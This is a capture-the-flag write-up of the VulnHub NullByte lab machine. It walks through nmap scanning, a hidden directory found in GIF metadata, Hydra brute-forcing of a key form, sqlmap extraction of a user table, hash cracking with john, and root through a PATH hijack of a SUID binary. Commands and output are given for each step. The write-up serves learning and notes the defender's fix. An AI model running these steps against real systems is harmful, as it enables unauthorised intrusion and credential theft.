CTF WRITEUP VULNHUB BLACK BOX MEDIUM

NullByte — VulnHub Medium

person

Written By

Th0mas_sh316y

Difficulty

Platform

VulnHub

Target IP

192.168.56.101

NullByte Machine
Machine: NullByte · Medium · Linux · VulnHub

NullByte is a box that rewards patience — it's got four or five layers and each one requires a different tool. The gif metadata trick for the hidden directory is one I'd not hit before, and the PATH hijack at the end via a SUID binary running ps is the kind of privesc that looks obvious only after you've seen it. Total time was around three hours. Walked away with a clean chain and a reminder to always run exiftool on any image on a web page.

01_Reconnaissance

Standard netdiscover to confirm the target IP, then a full nmap scan. Three ports: SSH on 22, HTTP on 80, and a high port running phpbash or similar. The web server on 80 is the starting point — landing page renders a single background image, main.gif.

terminal / netdiscover + nmap
$ netdiscover -r 192.168.56.0/24
192.168.56.101   08:00:27:xx:xx:xx   VirtualBox

$ nmap -sV -sC -p- 192.168.56.101

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1
80/tcp    open  http    Apache httpd 2.4.10
777/tcp   open  ssh     OpenSSH 6.7p1

Two SSH services — one on standard 22, one on 777. Note that for later.

02_Exiftool_Steganography_on_main.gif

The landing page has no visible links, no forms, nothing except that main.gif. Grabbed it and ran exiftool — there's a comment field in the metadata with a directory path. Classic steg-by-metadata.

terminal / exiftool
$ wget http://192.168.56.101/main.gif
$ exiftool main.gif

ExifTool Version Number         : 12.xx
File Name                       : main.gif
Comment                         : kzMb5nVYJw

$ curl http://192.168.56.101/kzMb5nVYJw/
<form>Enter key: <input name="key"></form>

Technique — Metadata as Breadcrumb

Exiftool reads EXIF, IPTC, and XMP metadata from images. CTF authors sometimes hide hints in the Comment, Author, or Copyright fields. Always worth a quick exiftool filename on any image you pull from a target web server.

03_Hydra_HTTP_Form_Brute

The directory at /kzMb5nVYJw/ has a simple key input form. No username — just a passphrase gate. Ran Hydra against it with the http-form-post module. Got a hit on "elite" after a few thousand attempts. Behind the key gate is 420search.php — a search interface backed by a MySQL database.

terminal / hydra http-form-post
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  192.168.56.101 http-form-post \
  "/kzMb5nVYJw/index.php:key=^PASS^:invalid key"

[80][http-post-form] host: 192.168.56.101
  login: admin
  password: elite

$ curl -s "http://192.168.56.101/kzMb5nVYJw/420search.php?usrtosearch=a"
[search results with user data]

04_SQLmap_on_420search.php

420search.php takes a usrtosearch GET parameter. Passed it straight into sqlmap with the cookie session — it confirms blind SQLi within about 30 seconds. Dumped the seth database and pulled a user table with a username and a hashed password for the user ramses.

terminal / sqlmap dump
$ sqlmap -u "http://192.168.56.101/kzMb5nVYJw/420search.php?usrtosearch=a" \
  --cookie="PHPSESSID=xxxx" --dbs

available databases [2]:
[*] information_schema
[*] seth

$ sqlmap -u "..." -D seth --tables
[1 table] → users

$ sqlmap -u "..." -D seth -T users --dump
+--------+-------+------------------------------------------+
| user   | pass  | position                                 |
+--------+-------+------------------------------------------+
| ramses | [REDACTED hash] | ...               |
+--------+-------+------------------------------------------+

The hash resolves to a plaintext password via an online cracker — or john with rockyou. Took about ten seconds.

terminal / hash crack
$ echo "[REDACTED]" > hash.txt
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5

Using default input encoding: UTF-8
[REDACTED]          (ramses)
1g 0:00:00:02 DONE

05_SSH_on_Port_777

We've got the credentials for ramses now. Earlier nmap showed SSH running on port 777 as well as 22 — standard SSH on 22 rejects the login, but port 777 accepts it. Once in, we land in ramses's home directory. Not much there, but a look at bash history shows a very interesting command: running the binary at /var/www/backup/procwatch.

terminal / ssh + enumeration
$ ssh ramses@192.168.56.101 -p 777
ramses@NullByte:~$

$ cat ~/.bash_history
sudo -s
su eric
ls -lah
nano -w /var/www/html/uploads/
ps aux
/var/www/backup/procwatch

$ ls -la /var/www/backup/procwatch
-rwsr-xr-x 1 root root 4932 Aug 2 2015 /var/www/backup/procwatch
SUID bit set — runs as root.

$ /var/www/backup/procwatch
PID   TT   STAT  TIME COMMAND
3200  tty1 S     0:00 sshd: ramses [priv]
3201  tty1 S     0:00 ps

06_PrivEsc_via_PATH_Hijack

The binary is running ps without an absolute path. Classic PATH hijack. Create a fake ps that spawns a shell, prepend /tmp to PATH, run procwatch — it executes as root, calls our fake ps, and we get a root shell. Three commands.

terminal / PATH hijack
# Create the malicious ps binary in /tmp
ramses@NullByte:~$ echo "/bin/bash" > /tmp/ps
ramses@NullByte:~$ chmod +x /tmp/ps

# Prepend /tmp to PATH
ramses@NullByte:~$ export PATH=/tmp:$PATH

# Run the SUID procwatch binary — it now calls /tmp/ps
ramses@NullByte:~$ /var/www/backup/procwatch

root@NullByte:/var/www/backup# id
uid=0(root) gid=0(root) groups=0(root)

root@NullByte:~# cat /root/proof.txt
[REDACTED]

Technique — PATH Hijacking with SUID Binaries

When a SUID binary executes another program using a relative path (just ps instead of /usr/bin/ps), it searches $PATH in order. Prepending a directory you control means your binary runs first — and because the caller has SUID root, your shell inherits root. The fix on the defender side is trivially using absolute paths. It still shows up in real-world environments though, particularly with custom internal tooling.

07_Attack_Chain_Summary

  1. 01 Netdiscover + nmap → SSH on 22 & 777, HTTP on 80
  2. 02 Fetch main.gif → exiftool → Comment = kzMb5nVYJw (hidden directory)
  3. 03 Hydra http-form-post on /kzMb5nVYJw/ → key = elite
  4. 04 sqlmap on 420search.php → dump seth.users → ramses hash
  5. 05 John / online cracker → plaintext password for ramses
  6. 06 SSH port 777 as ramses → .bash_history → /var/www/backup/procwatch SUID
  7. 07 Create /tmp/ps (/bin/bash), export PATH=/tmp:$PATH, run procwatch → root shell
  8. 08 cat /root/proof.txt → [REDACTED]